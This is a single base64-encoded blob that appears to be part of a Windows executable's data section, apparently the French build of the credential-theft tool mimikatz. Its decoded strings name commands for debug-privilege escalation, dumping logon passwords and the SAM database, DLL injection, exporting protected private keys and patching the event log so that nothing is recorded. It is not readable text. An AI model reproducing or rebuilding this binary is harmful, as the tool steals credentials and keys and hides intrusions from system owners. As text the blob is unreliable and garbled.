lAHIAcwBpAG8AbgAgADoAIAAAAAAAAAAAAEwAYQAgAHYAZQByAHMAaQBvAG4AIABkAHUAIABzAHkAcwB0AOgAbQBlACAAZAAnAGUAeABwAGwAbwBpAHQAYQB0AGkAbwBuACAAYQBjAHQAdQBlAGwAbABlACAAbgAnAGUAcwB0ACAAcABhAHMAIABzAHUAcABwAG8AcgB0AOkAZQAgAHAAYQByACAAYwBlAHQAdABlACAAZgBvAG4AYwB0AGkAbwBuAC4AAABcAFwAAAAAAAAAAABcAHAAaQBwAGUAXAAAAAAAsBIGgAEAAAAQtQCAAQAAAG0AaQBtAGkAawBhAHQAegBQAAAAAAAAAG0AaQBtAGkAawBhAHQAegBEAAAAAAAAAG0AaQBtAGkAawBhAHQAegBVAAAAAAAAAE50U3VzcGVuZFByb2Nlc3MAAAAAAAAAAE50UmVzdW1lUHJvY2VzcwBOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAAAAAAAAAFMAZQByAHYAaQBjAGUAcwBBAGMAdABpAHYAZQAAAAAAKAAwAHgAAAAgACoAIABJAG0AcABvAHMAcwBpAGIAbABlACAAZAAnAG8AYgB0AGUAbgBpAHIAIAB1AG4AIABtAGUAcwBzAGEAZwBlACAAKgAAAAAAAAAAAE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgAAAAAAAAAATnRRdWVyeU9iamVjdAAAAFJ0bEluaXRTdHJpbmcAAAAKAAAAAAAAADwATgBVAEwATAA+AAAAAAAwMTIzNDU2Nzg5YWJjZGVmQUJDREVGAAAwMTIzNDU2Nzg5YWJjZGVmAAAAAAAAAAAAAAAAAAAAACgTBoABAAAAZBABgAEAAABcDwGAAQAAAHgOAYABAAAAlA0BgAEAAACsDAGAAQAAAJwLAYABAAAAjAoBgAEAAAB8CQGAAQAAAGwIAYABAAAAQAcBgAEAAAAMBgGAAQAAAKgDAYABAAAAZQByAHIAZQB1AHIAIABTAEkARAAgADsAIAAAAAAAAABuAC4AYQAuAAAAAAAAAAAAcAByAGkAdgBpAGwAZQBnAGUAOgA6AGQAZQBiAHUAZwAAAAAAAAAAAHMAZQBrAHUAcgBsAHMAYQA6ADoAbABvAGcAbwBuAFAAYQBzAHMAdwBvAHIAZABzAAAAAAAAAAAAZQB4AGkAdAAAAAAAAAAAAFMAdABhAG4AZABhAHIAZAAAAAAAAAAAAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGUAIABlAHQAIABjAGUAcgB0AGkAZgBpAGMAYQB0AHMAAAAAAAAAAABjAHIAeQBwAHQAbwAAAAAASABhAHMAaAAAAAAAAAAAAGgAYQBzAGgAAAAAAAAAAABHAGUAcwB0AGkAbwBuACAAcwB5AHMAdADoAG0AZQAAAHMAeQBzAHQAZQBtAAAAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAGQAZQBzACAAcAByAG8AYwBlAHMAcwB1AHMAAAAAAHAAcgBvAGMAZQBzAHMAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAGQAZQBzACAAdABoAHIAZQBhAGQAcwAAAAAAAAAAAHQAaAByAGUAYQBkAAAAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAGQAZQBzACAAcwBlAHIAdgBpAGMAZQBzAAAAAAAAAHMAZQByAHYAaQBjAGUAAABNAGEAbgBpAHAAdQBsAGEAdABpAG8AbgAgAGQAZQBzACAAcAByAGkAdgBpAGwA6ABnAGUAcwAAAHAAcgBpAHYAaQBsAGUAZwBlAAAAAAAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAZABlAHMAIABoAGEAbgBkAGwAZQBzAAAAAAAAAAAAaABhAG4AZABsAGUAAAAAAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuACAAdABvAGsAZQBuAHMAIABkACcAYQBjAGMA6ABzAAAAaQBtAHAAZQByAHMAbwBuAGEAdABlAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAHUAIABkAOkAbQBpAG4AZQB1AHIAAAAAAAAAAAB3AGkAbgBtAGkAbgBlAAAATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABkAHUAIABkAOkAbQBpAG4AZQB1AHIAIAA3AAAAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIAAABBAG4AdABpAC0AZwBwAG8AIABlAHQAIABwAGEAdABjAGgAcwAgAGQAaQB2AGUAcgBzAAAAAAAAAG4AbwBnAHAAbwAAAAAAAABEAHUAbQBwACAAZABlACAAUwBBAE0AAABzAGEAbQB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lAHkAcwAAAAAAAAAAAEUAeABwAG8AcgB0AGUAIABsAGUAcwAgAGMAZQByAHQAaQBmAGkAYwBhAHQAcwAAAGUAeABwAG8AcgB0AEMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAAABFAHgAcABvAHIAdABlACAAbABlAHMAIABjAGwA6QBzAAAAAAAAAAAAZQB4AHAAbwByAHQASwBlAHkAcwAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAbABlACAAZwBlAHMAdABpAG8AbgBuAGEAaQByAGUAIABkAGUAIABjAGwA6QBzACAAcABvAHUAcgAgAGwAJwBlAHgAcABvAHIAdAAgAGQAZQAgAGMAbADpAHMAIABuAG8AbgAgAGUAeABwAG8AcgB0AGEAYgBsAGUAAAAAAAAAcABhAHQAYwBoAGMAbgBnAAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAbABhACAAQwByAHkAcAB0AG8AQQBQAEkAIABjAG8AdQByAGEAbgB0AGUAIABwAG8AdQByACAAbAAnAGUAeABwAG8AcgB0ACAAZABlACAAYwBsAOkAcwAgAG4AbwBuACAAZQB4AHAAbwByAHQAYQBiAGwAZQAAAHAAYQB0AGMAaABjAGEAcABpAAAAAAAAAFAAcgBvAHYAaQBkAGUAcgBzACAAQwByAHkAcAB0AG8AQQBQAEkAIAA6AAAAAAAAAAAAAAAAAAAAbQBvAGQAXwBjAHIAeQBwAHQAbwBhAHAAaQA6ADoAZwBlAHQAVgBlAGMAdABvAHIAUAByAG8AdgBpAGQAZQByAHMAIAA6ACAAAAAAAAAAAABQAHIAbwB2AGkAZABlAHIAcwAgAEMATgBHACAAOgAAAG0AbwBkAF8AYwByAHkAcAB0AG8AbgBnADoAOgBnAGUAdABWAGUAYwB0AG8AcgBQAHIAbwB2AGkAZABlAHIAcwAgADoAIAAAAEUAbQBwAGwAYQBjAGUAbQBlAG4AdAAgADoAIAAnAAAAAAAAAAAAAABtAG8AZABfAGMAcgB5AHAAdABvADoAOgBnAGUAdABMAGkAcwB0AFMAeQBzAHQAZQBtAFMAdABvAHIAZQBzACAAOgAgAAAAAAAgAGkAbgB0AHIAbwB1AHYAYQBiAGwAZQAgACEAAAAAAAAAAAAAAAAARQByAHIAZQB1AHIAIABkACcAYQByAGcAdQBtAGUAbgB0AHMALAAgAGEAdAB0AGUAbgBkAHUAIAA6ACAAWwBtAGEAYwBoAGkAbgBlAF0AIABbAHAAcgBvAHYAaQBkAGUAcgAgAHAAcgBvAHYAaQBkAGUAcgBUAHkAcABlAF0AAABtAGEAYwBoAGkAbgBlAAAAdQBzAGUAcgAAAAAAAAAAAF0AIABDAGwA6QBzACAAQwByAHkAcAB0AG8AQQBQAEkAIAA6AAAAAABbAAAAAAAAAAkAIAAtACAAAAAAAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAATwBVAEkAAABOAE8ATgAAAAkACQBFAHgAcABvAHIAdABhAGIAaQBsAGkAdADpACAAOgAgAAAAAAAJAAkAVABhAGkAbABsAGUAIABjAGwA6QAgACAAIAAgADoAIAAAAAAALgBwAHYAawAAAAAAAAAAAGMAYQBwAGkAXwAAAAAAAAAnACAAOgAgAAAAAAAAAAAACQAJAEUAeABwAG8AcgB0ACAAcAByAGkAdgDpACAAZABhAG4AcwAgACAAJwAAAAAAAAAAAAAAAAAJAAkACQBtAG8AZABfAGMAcgB5AHAAdABvAGEAcABpADoAOgBnAGUAdABQAHIAaQB2AGEAdABlAEsAZQB5AC8AUAByAGkAdgBhAHQAZQBLAGUAeQBCAGwAbwBiAFQAbwBQAFYASwAgADoAIAAAAAAACQAJACoAIABFAHIAcgBlAHUAcgAgAGQAZQAgAGMAbADpACAAOwAgAAAAAAAAAAAACQAJACoAIABFAHIAcgBlAHUAcgAgAGQAJwBhAGMAcQB1AGkAcwBpAHQAaQBvAG4AIABkAGUAIABsAGEAIABjAGwA6QAgADsAIAAAAAAAAABtAG8AZABfAGMAcgB5AHAAdABvAGEAcABpADoAOgBnAGUAdABWAGUAYwB0AG8AcgBDAG8AbgB0AGEAaQBuAGUAcgBzACAAOgAgAAAAAAAAAF0AIABDAGwA6QBzACAAQwBOAEcAIAA6AAAAAAAAAAAAYwBuAGcAXwAAAAAAAAAAAEMAQQBQAEkAUABSAEkAVgBBAFQARQBCAEwATwBCAAAACQAJAAkAbQBvAGQAXwBjAHIAeQBwAHQAbwBuAGcAOgA6AGcAZQB0AFAAcgBpAHYAYQB0AGUASwBlAHkALwBQAHIAaQB2AGEAdABlAEsAZQB5AEIAbABvAGIAVABvAFAAVgBLACAAOgAgAAAAAAAAAG0AbwBkAF8AYwByAHkAcAB0AG8AbgBnADoAOgBnAGUAdABWAGUAYwB0AG8AcgBDAG8AbgB0AGEAaQBuAGUAcgBzACAAOgAgAAAAAABNAHkAAAAAAFwAAABbAGUAbQBwAHQAeQBdAAAACQAJAEMAbwBuAHQAYQBpAG4AZQByACAAQwBsAOkAIAA6ACAAAAAAAAkACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAAAAAAAkACQAJAEUAcgByAGUAdQByACAAOgAgAEMAbADpACAAZABlACAAdAB5AHAAZQAgAG4AQwByAHkAcAB0ACwAIABzAGEAbgBzACAAbgBDAHIAeQBwAHQAIAA/AAAAAAAAAHAAZgB4AAAACQAJAAkAAABDAHIAeQBwAHQAQQBjAHEAdQBpAHIAZQBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAUAByAGkAdgBhAHQAZQBLAGUAeQAgADoAIAAAAAAAAAAAAGQAZQByAAAACQAJAEUAeABwAG8AcgB0ACAAcAB1AGIAbABpAGMAIABkAGEAbgBzACAAJwAAAAAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgADoAIAAAAAAAAAAAAHIAcwBhAGUAbgBoAC4AZABsAGwAAAAAAENQRXhwb3J0S2V5AAAAAAAAAAAAAAAAAFAAYQB0AGMAaAAgAEMAUgBZAFAAVABfAEEAUgBDAEgASQBWAEEAQgBMAEUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAFAAYQB0AGMAaAAgAEMAUgBZAFAAVABfAEUAWABQAE8AUgBUAEEAQgBMAEUAIAB8ACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgADoAIAAAAAAAAAAAAFAAYQB0AHQAZQByAG4AcwAgAEMAUgBZAFAAVABfAEUAWABQAE8AUgBUAEEAQgBMAEUAIAB8ACAAQwBSAFkAUABUAF8AQQBSAEMASABJAFYAQQBCAEwARQAgAGUAdAAgAEMAUgBZAFAAVABfAEEAUgBDAEgASQBWAEEAQgBMAEUAIAB0AHIAbwB1AHYA6QBzACAAIQAAAAAAbgBjAHIAeQBwAHQALgBkAGwAbAAAAAAAbgBjAHIAeQBwAHQAcAByAG8AdgAuAGQAbABsAAAAAABLAGUAeQBJAHMAbwAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBpAG4AaQB0AGkAYQBsAGkAcwBlAHIAIABsAGEAIABDAE4ARwAgADoAIAAAAAAAUABhAHMAIABkAGUAIABDAE4ARwAgAD8AAAAAAAAAAAAAAAAAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgAHAAbwB1AHIAIABuAGUAIABwAGwAdQBzACAAcwB1AHAAZQByAHYAaQBzAGUAcgAgAGwAYQAgAHQAYQBiAGwAZQAgAGQAZQAgAHIAbwB1AHQAYQBnAGUAAAAAAAAAAABuAG8AcgBvAHUAdABlAG0AbwBuAAAAAABbAHMAdQBwAGUAcgAgAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABsACcAbwBiAHMAZQByAHYAYQB0AGUAdQByACAAZAAnAOkAdgDpAG4AZQBtAGUAbgB0AHMAIABwAG8AdQByACAAbgBlACAAcABsAHUAcwAgAHIAaQBlAG4AIABlAG4AcgBlAGcAaQBzAHQAcgBlAHIAAABlAHYAZQBuAHQAZAByAG8AcAAAAAAAAABQAGEAdABjAGgAIABsAGUAIABiAG8AdQB0AG8AbgAgAGEAbgBuAHUAbABlAHIAIABkAGUAIABXAGkAbgBkAG8AdwBzACAAWABQACAAZQB0ACAAMgAwADAAMwAgAGUAbgAgAGMAbwBuAHMAbwBsAGUAIABwAG8AdQByACAAZADpAHYAZQByAHIAbwB1AGkAbABsAGUAcgAgAHUAbgBlACAAcwBlAHMAcwBpAG8AbgAAAGMAYQBuAGMAZQBsAGEAdABvAHIAAAAAAAAAAAAAAAAAQQBmAGYAaQBjAGgAZQAgAGwAZQBzACAAcwBlAGMAcgBlAHQAcwAgAHUAdABpAGwAaQBzAGEAdABlAHUAcgAAAHMAZQBjAHIAZQB0AHMAAABBAG4AdABpAC0AZADpAHQAbwB1AHIAcwAgAFMAUgAAADoAbgBvAGQAZQB0AG8AdQByAAAAAAAAAAAAAAAAAAAARADpAGMAaABpAGYAZgByAGUAIABsAGUAcwAgAGYAaQBjAGgAaQBlAHIAcwAgAFAASQBUACAAKABRAHUAZQBzAHQAIAB2AFcAbwByAGsAcwBwAGEAYwBlACAAQwBsAGkAZQBuAHQAKQAAAAAAAAAAADoAcABpAHQAbQBlAAAAAABOdE9wZW5Qcm9jZXNzAAAARADpAHQAbwB1AHIAIAB0AHIAbwB1AHYA6QAgAGUAdAAgAAAAAAAAAHAAYQB0AGMAaADpACAAOgApAAAAAAAAAE4ATwBOACAAcABhAHQAYwBoAOkAIAA6ACgAAAAAAAAARADpAHQAbwB1AHIAIABuAG8AbgAgAHQAcgBvAHUAdgDpAAAAAAAAAHcAaQBuAGwAbwBnAG8AbgAuAGUAeABlAAAAAAAAAAAAZABzAE4AYwBTAGUAcgB2AGkAYwBlAAAAZQB2AGUAbgB0AGwAbwBnAC4AZABsAGwAAAAAAAAAAAB3AGUAdgB0AHMAdgBjAC4AZABsAGwAAABFAHYAZQBuAHQATABvAGcAAAAAAAAAAABOAG8AbQBiAHIAZQAgAGQAZQAgAHMAZQBjAHIAZQB0AHMAIAA6ACAAAAAAAAAAAABHAEUATgBFAFIASQBDAAAARABPAE0AQQBJAE4AXwBQAEEAUwBTAFcATwBSAEQAAABEAE8ATQBBAEkATgBfAEMARQBSAFQASQBGAEkAQwBBAFQARQAAAAAARABPAE0AQQBJAE4AXwBWAEkAUwBJAEIATABFAF8AUABBAFMAUwBXAE8AUgBEAAAARwBFAE4ARQBSAEkAQwBfAEMARQBSAFQASQBGAEkAQwBBAFQAAAAAAEQATwBNAEEASQBOAF8ARQBYAFQARQBOAEQARQBEAAAAPwAAAAAAAABDAHIAZQBkAGUAbgB0AGkAYQBsACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAABVAHMAZQByAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAABDAG8AbQBtAGUAbgB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAgAC8AIAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAEMAcgBlAGQARQBuAHUAbQBlAHIAYQB0AGUAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAIBb6BhvZIk6NM5Z3020Wg9plFhwcUsXz8NAqvzF4CHbmklouC9KbNx6i39cAwj+OaPGMaaMvXKkihuS1YeteI9VlgswqENTsGKg2nwTjV2BwI6QiOS3dsK1BJOlqZ6r9TesmSbiOIXhdHcy5ZEjsRBMRz++giJqUdBjdREzm/s7yu3dROYSTpc8eU9BZrpQDslrBe5u55V7YJ3/xCmGuX2YyJw1u7zv+j0G+Ta/Pn6ix1auy6/pQmHwHf1ln1In6iShp7JtFLNF+Lb3c8GDhPTMzfPjVBXRRgdXLNLT1tTX9uvYHAAJ7GcK2Rbe8fIBLV5IAgxfDRkaKB4fICUqKy5QSVQAAAAAAAAAAAAAAAAAZABpAHYAZQByAHMAOgA6ADoAcABpAHQAbQBlACAAZgBpAGwAZQAuAHAAaQB0ACAAWwBmAGkAbABlAC4AcgBkAHAAXQAAAAAAAAAAAAAAAAAgACoAIABPAHUAdgBlAHIAdAB1AHIAZQAgAGUAbgAgAGwAZQBjAHQAdQByAGUAIABkAHUAIABmAGkAYwBoAGkAZQByACAAJwAAAAAAAAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMQAgADoAIAAAACAAKgAgAEQA6QBjAGgAaQBmAGYAcgBlAG0AZQBuAHQAIABuALAAMgAgADoAIAAAACAAKgAgAEUAbgAtAHQA6gB0AGUAIAA6ACAAAAAAAAAAIAAqACAATwB1AHYAZQByAHQAdQByAGUAIABlAG4AIADpAGMAcgBpAHQAdQByAGUAIABkAHUAIABmAGkAYwBoAGkAZQByACAAJwAAAHcAYgAAAAAAAAAAACAAKgAgAEQAbwBuAG4A6QBlAHMAIAA6ACAAAAAAAAAAIAAhAD0AIAAAAAAAAAAAAEsATwAgAC0AIABkAGkAZgBmAOkAcgBlAG4AdAAgAGQAZQAgACcAUABJAFQAJwAgADsAIAAAAAAAQQBmAGYAaQBjAGgAZQAgAGQAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIABiAGEAcwBpAHEAdQBlAHMAIABzAHUAcgAgAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABjAGgAaQBmAGYAcgDpAAAAAAAAAAAAaQBuAGYAbwBzAAAAAAAAAAAAAAAAAAAAQQBmAGYAaQBjAGgAZQAgAGQAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAIAB0AHIA6ABzACAAZADpAHQAYQBpAGwAbADpAGUAcwAgAHMAdQByACAAdQBuACAAZgBpAGMAaABpAGUAcgAgAGMAaABpAGYAZgByAOkAAABmAHUAbABsAAAAAAAAAAAARAB1AG0AcAAgAGwAZQBzACAAZABvAG4AbgDpAGUAcwAgAEUARgBTACAAZAAnAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABjAGgAaQBmAGYAcgDpACAAdgBlAHIAcwAgAHUAbgAgAGYAaQBjAGgAaQBlAHIAIABiAHIAdQB0AAAAAAB0AG8AcgBhAHcAAAAAAAAAVQB0AGkAbABpAHMAYQB0AGUAdQByACgAcwApACAAZADpAGMAbABhAHIA6QAoAHMAKQAgADoAIAAAAAAAAAAAAEUAcgByAGUAdQByACAAUQB1AGUAcgB5AFUAcwBlAHIAcwBPAG4ARQBuAGMAcgB5AHAAdABlAGQARgBpAGwAZQAgADoAIAAAAEEAZwBlAG4AdAAoAHMAKQAgAGQAZQAgAHIAZQBjAG8AdQB2AHIAZQBtAGUAbgB0ACAAIAA6ACAAAAAAAAAAAAAAAAAAAAAAAEUAcgByAGUAdQByACAAUQB1AGUAcgB5AFIAZQBjAG8AdgBlAHIAeQBBAGcAZQBuAHQAcwBPAG4ARQBuAGMAcgB5AHAAdABlAGQARgBpAGwAZQAgADoAIAAAAAAAAAAAAEUARgBTACAATQBlAHQAYQBkAGEAdABhAAAAAAAAAAAARABBAFQAQQAAAAAAAAAAACAAKgAgAFQAeQBwAGUAIAAgACAAOgAgAAAAAAAAAAAAKABFAEYAUwAgAE0AZQB0AGEAZABhAHQAYQAgAHMAdAByAGUAYQBtACkAAAAAAAAAIAAqACAATgBvAG0AIAAgACAAIAA6ACAAAAAAAAAAAAAgACoAIABGAGwAYQBnACAAIAAgADoAIAAAAAAAAAAAACAAKgAgAFQAYQBpAGwAbABlACAAOgAgAAAAAAAAAAAATQBhAHIAcwBoAGEAbABlAGQAIABTAHQAcgBlAGEAbQAgADoAAAAAAEQAYQB0AGEAUwBlAGcAbQBlAG4AdAAgADoAIAAAAAAAIAAgAEUARgBTACAATQBlAHQAYQBkAGEAdABhACAAOgAAAAAAAAAAACAAIAAgACoAIABWAGUAcgBzAGkAbwBuACAARQBGAFMAIAA6ACAAAAAAAAAAAAAAACAAIAAgACoAIABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAKABzACkAIABkAOkAYwBsAGEAcgDpACgAcwApACAAOgAAAAAAAAAAAAAAAAAAAAAAIAAgACAAKgAgAEEAZwBlAG4AdAAoAHMAKQAgAGQAZQAgAHIAZQBjAG8AdQB2AHIAZQBtAGUAbgB0ACAAIAA6AAAAAAAAAAAAIAAgAEQAQQBUAEEAIAA6AAAAAAAAAAAAIAAgAEQAQQBUAEEAIABTAGUAZwBtAGUAbgB0ACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAEgAZQBhAGQAZQByACAAOgAAAAAAIAAgACAAKgAgAE4AdQBtAGIAZQByAE8AZgBEAGEAdABhAEIAbABvAGMAawBzACAAIAAgACAAOgAgAAAAAAAAACAAIAAgACoAIABDAGwAdQBzAHQAZQByAFMAaABpAGYAdAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAgACAAIAAqACAAQwBoAHUAbgBrAFMAaABpAGYAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAIAAgACAAKgAgAEQAYQB0AGEAVQBuAGkAdABTAGgAaQBmAHQAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAACAAIAAgACoAIABCAHkAdABlAHMAVwBpAHQAaABpAG4AVgBEAEwAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAgACAAIAAqACAAQgB5AHQAZQBzAFcAaQB0AGgAaQBuAFMAdAByAGUAYQBtAFMAaQB6AGUAIAA6ACAAAAAAAAAAIAAgACAAKgAgAFMAdABhAHIAdABpAG4AZwBGAGkAbABlAF8ATwBmAGYAcwBlAHQAIAAgACAAOgAgAAAAAAAAACAAIAAgACoAIABMAGUAbgBnAHQAaAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAgACAAIAAqACAARQB4AHQAZQBuAGQAZQBkACAASABlAGEAZABlAHIAIABGAGwAYQBnACAAIAA6ACAAAAAAAAAAIAA7ACAAdABhAGkAbABsAGUAIAA6ACAA